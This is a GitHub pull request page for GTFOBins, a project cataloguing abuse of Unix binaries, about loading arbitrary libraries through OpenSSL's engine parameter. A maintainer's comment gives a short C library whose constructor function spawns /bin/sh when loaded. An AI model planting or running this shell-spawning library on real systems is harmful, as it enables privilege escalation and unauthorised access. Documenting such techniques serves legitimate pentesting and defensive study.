Skip to content

Add library load section to OpenSSL #125

New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Merged
merged 2 commits into from
Apr 12, 2020
Merged

Add library load section to OpenSSL #125

merged 2 commits into from
Apr 12, 2020

Conversation

dozernz
Copy link
Contributor

@dozernz dozernz commented Apr 12, 2020

Details on how to load arbitrary libraries through the OpenSSL engine parameter

dozernz and others added 2 commits April 12, 2020 18:35
Details on how to load arbitrary libraries through the engine parameter
@cyrus-and
Copy link
Member

There's no need of such complicated code, standard code with a __attribute__((constructor)) function is enough, so there's no need to include it.

#include <unistd.h>

__attribute__((constructor))
static void init() {
    execl("/bin/sh", "sh", NULL);
}

@cyrus-and cyrus-and merged commit 041110d into GTFOBins:master Apr 12, 2020
@dozernz
Copy link
Contributor Author

dozernz commented Apr 12, 2020

I see, thanks for improving it.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

Successfully merging this pull request may close these issues.

2 participants